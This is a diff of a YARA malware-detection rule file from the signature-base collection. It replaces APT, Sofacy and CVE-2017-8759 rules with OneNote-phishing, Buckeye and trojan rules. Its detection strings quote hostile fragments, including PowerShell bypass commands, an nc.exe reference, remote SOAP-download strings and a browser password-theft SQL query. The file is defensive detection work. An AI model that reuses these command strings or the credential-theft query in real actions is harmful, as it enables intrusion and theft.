+		$str2 = "wmiexec" wide ascii
+		$str3 = "By. Twi1ight" wide ascii
+		$str4 = "[both mode] ,delay TIME to read result" wide ascii
+		$str5 = "such as nc.exe or Trojan" wide ascii
+		$str6 = "+++shell mode+++" wide ascii
+		$str7 = "win2008 fso has no privilege to delete file" wide ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <20000KB and all of them
+		2 of ($str*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Beacon_Unknown_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
+rule SIGNATURE_BASE_SUSP_Email_Suspicious_Onenote_Attachment_Jan23_1 : FILE
 {
 	meta:
-		description = "Detects malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709 "
-		author = "Florian Roth"
-		id = "9299fd44-5327-5a73-8299-108b710cb16e"
-		date = "2024-02-23"
-		modified = "2024-04-24"
-		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L249-L268"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fd6ebc6676d677d6bc19398026eee7b7d2f9727ba7a3c79d1e970a6dc19548aa"
-		score = 75
+		description = "Detects suspicious OneNote attachment that embeds suspicious payload, e.g. an executable (FPs possible if the PE is attached separately)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "492b74c2-3b81-5dff-9244-8528565338c6"
+		date = "2023-01-27"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_onenote_phish.yar#L2-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c7c5fc86f1dbe54da2d3ff8f039c5e53c3d1f67c9271cb467b2318310f744f93"
+		score = 65
 		quality = 85
-		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
-		hash1 = "6e8f83c88a66116e1a7eb10549542890d1910aee0000e3e70f6307aae21f9090"
-		hash2 = "b0adf3d58fa354dbaac6a2047b6e30bc07a5460f71db5f5975ba7b96de986243"
-		hash3 = "c0f7970bed203a5f8b2eca8929b4e80ba5c3276206da38c4e0a4445f648f3cec"
+		tags = "FILE"
 
 	strings:
-		$s1 = "Driver.dll" wide fullword
-		$s2 = "X l.dlT" ascii fullword
-		$s3 = "$928c7481-dd27-8e23-f829-4819aefc728c" ascii fullword
+		$ge1 = "5xbjvWUmEUWkxI1NC3qer"
+		$ge2 = "cW471lJhFFpMSNTQt6nq"
+		$ge3 = "nFuO9ZSYRRaTEjU0Lep6s"
+		$sp1 = "VGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZG"
+		$sp2 = "RoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2Rl"
+		$sp3 = "UaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZ"
+		$sp4 = "VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVy"
+		$sp5 = "RoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlc"
+		$sp6 = "UaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZX"
+		$se1 = "QGVjaG8gb2Zm"
+		$se2 = "BlY2hvIG9mZ"
+		$se3 = "AZWNobyBvZm"
+		$se4 = "PEhUQTpBUFBMSUNBVElPTi"
+		$se5 = "xIVEE6QVBQTElDQVRJT04g"
+		$se6 = "8SFRBOkFQUExJQ0FUSU9OI"
+		$se7 = "TAAAAAEUAg"
+		$se8 = "wAAAABFAIA"
+		$se9 = "MAAAAARQCA"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 3 of ($s*)
+		filesize <5MB and 1 of ($ge*) and 1 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sofacy_Campaign_Mal_Feb18_Cdnver : FILE
+rule SIGNATURE_BASE_SUSP_Email_Suspicious_Onenote_Attachment_Jan23_2 : FILE
 {
 	meta:
-		description = "Detects Sofacy malware"
+		description = "Detects suspicious OneNote attachment that has a file name often used in phishing attacks"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a5c72ddd-91b0-5410-9d81-38a138ec7efe"
-		date = "2018-02-07"
+		id = "f8c58c73-2404-5ce6-8e8f-99b0dad84ad0"
+		date = "2023-01-27"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ClearskySec/status/960924755355369472"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy.yar#L4-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd3fa21710054a96cc85da13d98e0882deaa574708c833349638b57b6088131c"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_onenote_phish.yar#L41-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb6f992ce186022f04613af3bf4df629b00d85eac151f8bbd4b8ef96e6892eab"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8"
 
 	strings:
-		$x1 = "cdnver.dll" fullword wide
-		$x2 = { 25 73 0A 00 00 00 00 00 30 00 00 00 20 00 2D 00
-              20 00 00 00 0A 00 00 00 25 00 73 00 00 00 00 00
-              69 00 6D 00 61 00 67 00 65 00 2F 00 6A 00 70 00
-              65 00 67 }
-		$s1 = "S7%s - %lu" fullword ascii
-		$s2 = "SNFIRNW" fullword ascii
+		$hc1 = { 2E 6F 6E 65 22 0D 0A 0D 0A 35 46 4A 63 65 }
+		$x01 = " attachment; filename=\"Invoice" nocase
+		$x02 = " attachment; filename=\"ORDER" nocase
+		$x03 = " attachment; filename=\"PURCHASE" nocase
+		$x04 = " attachment; filename=\"SHIP" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <90KB and (pe.imphash()=="01f3d0fe6fb9d9df24620e67afc143c7" or 1 of ($x*) or 2 of them )
+		filesize <5MB and $hc1 and 1 of ($x*)
 }
-import "pe"
+rule SIGNATURE_BASE_SUSP_Onenote_Embedded_Filedatastoreobject_Type_Jan23_1 : FILE
+{
+	meta:
+		description = "Detects suspicious embedded file types in OneNote files"
+		author = "Florian Roth"
+		id = "b8ea8c7b-052f-5a97-9577-99903462ea84"
+		date = "2023-01-27"
+		modified = "2023-02-27"
+		reference = "https://blog.didierstevens.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_onenote_phish.yar#L63-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d91ca297ea96f80534085f174d335ffe961c569534f043c5c2ae8d6a9f7ac083"
+		score = 65
+		quality = 85
+		tags = "FILE"
 
-rule SIGNATURE_BASE_Sofacy_Trojan_Loader_Feb18_1 : FILE
+	strings:
+		$x1 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? 4d 5a }
+		$x2 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 40 65 63 68 6f }
+		$x3 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 40 45 43 48 4f }
+		$x4 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 4F 6E 20 45 }
+		$x5 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 6F 6E 20 65 }
+		$x6 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? 4c 00 00 00 }
+		$x7 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? 49 54 53 46 }
+		$x8 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [6-200] 3C 68 74 61 3A }
+		$x9 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [6-200] 3C 48 54 41 3A }
+		$x10 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [6-200] 3C 6A 6F 62 20 }
+
+	condition:
+		filesize <10MB and 1 of them
+}
+rule SIGNATURE_BASE_SUSP_Onenote_Embedded_Filedatastoreobject_Type_Jan23_2 : FILE
 {
 	meta:
-		description = "Sofacy Activity Feb 2018"
+		description = "Detects suspicious embedded file types in OneNote files"
 		author = "Florian Roth (Nextron Systems)"
-		id = "358d7a77-0ff5-572e-9cd8-b2cebaace02f"
-		date = "2018-03-01"
+		id = "0664d202-ab4c-57b6-91ee-ea21ac08909e"
+		date = "2023-01-27"
 		modified = "2023-12-05"
-		reference = "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy.yar#L29-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b1946af23fa0de69f5631a66fa211dab5d8731b5afdb23898428842232752e77"
-		score = 75
+		reference = "https://blog.didierstevens.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_onenote_phish.yar#L108-L125"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bc07598570b6d4ebc5d14cedfed146c1ad309b8890bc0b9ee5f9ad645c1352e2"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "335565711db93cd02d948f472c51598be4d62d60f70f25a20449c07eae36c8c5"
 
 	strings:
-		$x1 = "%appdata%\\nad.dll" fullword wide
-		$s3 = "%appdata%\\nad.bat" fullword wide
-		$s1 = "apds.dll" fullword ascii
-		$s2 = "nad.dll\"" fullword ascii
+		$a1 = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
+		$s1 = "<HTA:APPLICATION "
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="a2d1be6502b4b3c28959a4fb0196ea45" or pe.exports("VidBitRpl") or 1 of ($x*) or 2 of them )
+		filesize <5MB and $a1 and 1 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_ATP28_Sofacy_Indicators_May19_1 : FILE
+rule SIGNATURE_BASE_Gen_Trojan_Mikey : FILE
 {
 	meta:
-		description = "Detects APT28 Sofacy indicators in samples"
+		description = "Trojan Mikey - file sample_mikey.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ca768b60-7094-537a-b848-28bd42555287"
-		date = "2019-05-18"
+		id = "ff875436-4fed-5f20-a0a5-bfd146d93499"
+		date = "2015-05-07"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1129647994603790338"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy.yar#L53-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4e3530f540cc66e99b82bd88887943c8e524d4d750734058d9a7b27f76bc6871"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mikey_trojan.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a8e6c3ca056b3ff2495d7728654b780735b3a4cb"
+		logic_hash = "5454953bba09d6fc866bcb23ef81a0b6763d8f82b8b606597548cbb5cf6053ed"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "80548416ffb3d156d3ad332718ed322ef54b8e7b2cc77a7c5457af57f51d987a"
-		hash2 = "b40909ac0b70b7bd82465dfc7761a6b4e0df55b894dd42290e3f72cb4280fa44"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "c:\\Users\\user\\Desktop\\openssl-1.0.1e_m\\/ssl/cert.pem" ascii
-		$x2 = "C:\\Users\\User\\Desktop\\Downloader_Poco" ascii
-		$s1 = "w%SystemRoot%\\System32\\npmproxy.dll" fullword wide
-		$op0 = { e8 41 37 f6 ff 48 2b e0 e8 99 ff ff ff 48 8b d0 }
-		$op1 = { e9 34 3c e3 ff cc cc cc cc 48 8d 8a 20 }
-		$op2 = { e8 af bb ef ff b8 ff ff ff ff e9 f4 01 00 00 8b }
+		$s0 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS" fullword ascii
+		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.0; MyIE 3.01)" fullword ascii
+		$x3 = "%d*%u%s" fullword ascii
+		$x4 = "%s %s:%d" fullword ascii
+		$x5 = "Mnopqrst Vwxyabcde Ghijklm Opqrstuv Xya" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and (pe.imphash()=="f4e1c3aaec90d5dfa23c04da75ac9501" or 1 of ($x*) or ($s1 and 2 of ($op*)))
+		uint16(0)==0x5a4d and $s0 and 2 of ($x*)
 }
-rule SIGNATURE_BASE_ACE_Containing_EXE
+rule SIGNATURE_BASE_Buckeye_Osinfo : FILE
 {
 	meta:
-		description = "Looks for ACE Archives containing an exe/scr file"
-		author = "Florian Roth (Nextron Systems) - based on Nick Hoffman' rule - Morphick Inc"
-		id = "0756f0e7-39f1-572d-a77d-1f7826332360"
-		date = "2015-09-09"
+		description = "Detects OSinfo tool used by the Buckeye APT group"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e40a86d1-fd1a-5430-b7b7-8cc7ca128cc5"
+		date = "2016-09-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ace_with_exe.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27fba0db7a98fbaf4b3710a9e411ed74860099c133a2e83ddf368ae2fef3c288"
-		score = 50
-		quality = 83
-		tags = ""
+		reference = "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_buckeye.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "782ae4293db0839190a9533d2c45baff92527867bfcd048ccae82611f165601b"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$header = { 2a 2a 41 43 45 2a 2a }
-		$extensions1 = ".exe"
-		$extensions2 = ".EXE"
-		$extensions3 = ".scr"
-		$extensions4 = ".SCR"
+		$s1 = "-s ShareInfo ShareDir" fullword ascii
+		$s2 = "-a Local And Global Group User Info" fullword ascii
+		$s3 = "-f <infile> //input server list from infile, OneServerOneLine" fullword ascii
+		$s4 = "info <\\server> <user>" fullword ascii
+		$s5 = "-c Connect Test" fullword ascii
+		$s6 = "-gd Group Domain Admins" fullword ascii
+		$s7 = "-n NetuseInfo" fullword ascii
 
 	condition:
-		$header at 7 and for any of ($extensions*) : ($ in (81..(81+ uint16(79))))
+		uint16(0)==0x5a4d and 3 of ($s*)
 }
-rule SIGNATURE_BASE_CVE_2017_8759_Mal_HTA : CVE_2017_8759 FILE
+rule SIGNATURE_BASE_Remotecmd : FILE
 {
 	meta:
-		description = "Detects malicious files related to CVE-2017-8759 - file cmd.hta"
+		description = "Detects a remote access tool used by APT groups - file RemoteCmd.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e53b5149-fc94-5da5-8e35-7f09a9cd79fd"
-		date = "2017-09-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_8759.yar#L11-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f98578104e411fcf75a46f8a0bc3e561c94d0ca4ad7c1aae2595d03a29efd74e"
+		id = "384f37f3-4562-5d79-9793-0384c43d4602"
+		date = "2016-09-08"
+		modified = "2022-12-21"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_buckeye.yar#L30-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "873cc02674e386577e86cb9b702265c25dd24b1f203741e8628e30c191dc99e0"
 		score = 75
 		quality = 85
-		tags = "CVE-2017-8759, FILE"
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fee2ab286eb542c08fdfef29fabf7796a0a91083a0ee29ebae219168528294b5"
+		hash1 = "5264d1de687432f8346617ac88ffcb31e025e43fc3da1dad55882b17b44f1f8b"
 
 	strings:
-		$x1 = "Error = Process.Create(\"powershell -nop cmd.exe /c" fullword ascii
+		$s1 = "RemoteCmd.exe" fullword wide
+		$s2 = "\\Release\\RemoteCmd.pdb" ascii
+		$s3 = "RemoteCmd [ComputerName] [Executable] [Param1] [Param2] ..." fullword wide
+		$s4 = "http://{0}:65101/CommandEngine" fullword wide
+		$s5 = "Brenner.RemoteCmd.Client" fullword ascii
+		$s6 = "$b1888995-1ee5-4f6d-82df-d2ab8ae73d63" fullword ascii
 
 	condition:
-		( uint16(0)==0x683c and filesize <1KB and all of them )
+		( uint16(0)==0x5a4d and filesize <50KB and 2 of them ) or (4 of them )
 }
-rule SIGNATURE_BASE_CVE_2017_8759_Mal_Doc : CVE_2017_8759 FILE
+rule SIGNATURE_BASE_Chromepass : FILE
 {
 	meta:
-		description = "Detects malicious files related to CVE-2017-8759 - file Doc1.doc"
+		description = "Detects a tool used by APT groups - file ChromePass.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "48587c13-7661-5987-8331-732115f7823b"
-		date = "2017-09-14"
-		modified = "2023-11-21"
-		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_8759.yar#L26-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c81feebef463fee41661ca951a39ee789db5d36acc8262ddb391609d8680108"
+		id = "950b9761-bdfd-514b-90ea-a1454d35ce5a"
+		date = "2016-09-08"
+		modified = "2022-12-21"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_buckeye.yar#L51-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "277b7cee2bf70b5141b6ee8a566f1d9bc5dc4555fc14c929d5255151ddca77dd"
 		score = 75
 		quality = 85
-		tags = "CVE-2017-8759, FILE"
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6314c5696af4c4b24c3a92b0e92a064aaf04fd56673e830f4d339b8805cc9635"
+		hash1 = "5ff43049ae18d03dcc74f2be4a870c7056f6cfb5eb636734cca225140029de9a"
 
 	strings:
-		$s1 = "soap:wsdl=http://" ascii wide
-		$s2 = "soap:wsdl=https://" ascii wide
-		$s3 = "soap:wsdl=http%3" ascii wide
-		$s4 = "soap:wsdl=https%3" ascii wide
-		$c1 = "Project.ThisDocument.AutoOpen" fullword wide
+		$x1 = "\\Release\\ChromePass.pdb" ascii
+		$x2 = "Windows Protect folder for getting the encryption keys" wide
+		$x3 = "Chrome User Data folder where the password file is stored" wide
+		$s1 = "Opera Software\\Opera Stable\\Login Data" fullword wide
+		$s2 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword wide
+		$s3 = "Load the passwords from another Windows user or external drive: " fullword wide
+		$s4 = "Chrome Passwords List!Select the windows profile folder" fullword wide
+		$s5 = "Load the passwords of the current logged-on user" fullword wide
+		$s6 = "Windows Login Password:" fullword wide
+		$s7 = "SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created fr" ascii
+		$s8 = "Chrome Password Recovery" fullword wide
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <500KB and (1 of ($s*) and $c1)
+		( uint16(0)==0x5a4d and filesize <700KB and 1 of ($x*)) or (5 of them )
 }
-rule SIGNATURE_BASE_CVE_2017_8759_SOAP_Via_JS : FILE
+rule SIGNATURE_BASE_Trojandownloader : FILE
 {
 	meta:
-		description = "Detects SOAP WDSL Download via JavaScript"
+		description = "Trojan Downloader - Flash Exploit Feb15"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9e96cea3-4282-5f25-ad37-51bd69258790"
-		date = "2017-09-14"
+		id = "d61f59ef-31a3-5e52-9525-61910bb150db"
+		date = "2015-02-11"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/buffaloverflow/status/907728364278087680"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_8759.yar#L47-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c170479283fe859b9ecfba4834396aaf78b375472250a4b188bc913f69c97fd"
+		reference = "http://goo.gl/wJ8V1I"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_generic.yar#L4-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e"
+		logic_hash = "4911098beea1d348d41d6a38c03b343bb7b8a8090ba664fd4b0747045127c686"
 		score = 60
-		quality = 81
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "GetObject(\"soap:wsdl=https://" ascii wide nocase
-		$s2 = "GetObject(\"soap:wsdl=http://" ascii wide nocase
+		$x1 = "Hello World!" fullword ascii
+		$x2 = "CONIN$" fullword ascii
+		$s6 = "GetCommandLineA" fullword ascii
+		$s7 = "ExitProcess" fullword ascii
+		$s8 = "CreateFileA" fullword ascii
+		$s5 = "SetConsoleMode" fullword ascii
+		$s9 = "TerminateProcess" fullword ascii
+		$s10 = "GetCurrentProcess" fullword ascii
+		$s11 = "UnhandledExceptionFilter" fullword ascii
+		$s3 = "user32.dll" fullword ascii
+		$s16 = "GetEnvironmentStrings" fullword ascii
+		$s2 = "GetLastActivePopup" fullword ascii
+		$s17 = "GetFileType" fullword ascii
+		$s19 = "HeapCreate" fullword ascii
+		$s20 = "VirtualFree" fullword ascii
+		$s21 = "WriteFile" fullword ascii
+		$s22 = "GetOEMCP" fullword ascii
+		$s23 = "VirtualAlloc" fullword ascii
+		$s24 = "GetProcAddress" fullword ascii
+		$s26 = "FlushFileBuffers" fullword ascii
+		$s27 = "SetStdHandle" fullword ascii
+		$s28 = "KERNEL32.dll" fullword ascii
 
 	condition:
-		( filesize <3KB and 1 of them )
+		$x1 and $x2 and ( all of ($s*)) and filesize <35000
 }
-rule SIGNATURE_BASE_CVE_2017_8759_SOAP_Excel : CVE_2017_8759 FILE
+rule SIGNATURE_BASE_Ismdoor_Jul17_A2 : FILE
 {
 	meta:
-		description = "Detects malicious files related to CVE-2017-8759"
+		description = "Detects IsmDoor Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "940ec910-49a4-5271-97e4-8536db271b80"
-		date = "2017-09-15"
+		id = "ea72a496-cbc8-56f6-a852-7af9761ea58e"
+		date = "2017-08-01"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/buffaloverflow/status/908455053345869825"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_8759.yar#L63-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "adea595b251796e93cdc54cc59198d88a68e28d42899c90721f63f6813df24fe"
-		score = 60
-		quality = 83
-		tags = "CVE-2017-8759, FILE"
+		reference = "https://twitter.com/Voulnet/status/892104753295110145"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malware_generic.yar#L54-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7944f690be190927c905d3b3c6e26765504af9fcfb445cf70c8899af115d5001"
+		score = 75
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "be72c89efef5e59c4f815d2fce0da5a6fac8c90b86ee0e424868d4ae5e550a59"
+		hash2 = "ea1be14eb474c9f70e498c764aaafc8b34173c80cac9a8b89156e9390bd87ba8"
 
 	strings:
-		$s1 = "|'soap:wsdl=" ascii wide nocase
+		$s1 = "powershell -exec bypass -file \"" fullword ascii
+		$s2 = "PAQlFcaWUaFkVICEx2CkNCUUpGcA" ascii
+		$s3 = "\\Documents" ascii
+		$s4 = "\\Libraries" ascii
 
 	condition:
-		( filesize <300KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
 }
-rule SIGNATURE_BASE_CVE_2017_8759_SOAP_Txt : CVE_2017_8759 FILE
+rule SIGNATURE_BASE_Unknown_Malware_Sample_Jul17_2 : FILE
 {
 	meta:
-		description = "Detects malicious file in releation with CVE-2017-8759 - file exploit.txt"
+		description = "Detects unknown malware sample with pastebin RAW URL"
 		author = "Florian Roth (Nextron Systems)"
-		id = "36474420-4fa9-5264-a46b-bb2434624710"
-		date = "2017-09-14"
+		id = "ce82b9eb-a9cb-5122-85dc-22794174c2f8"
+		date = "2017-08-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
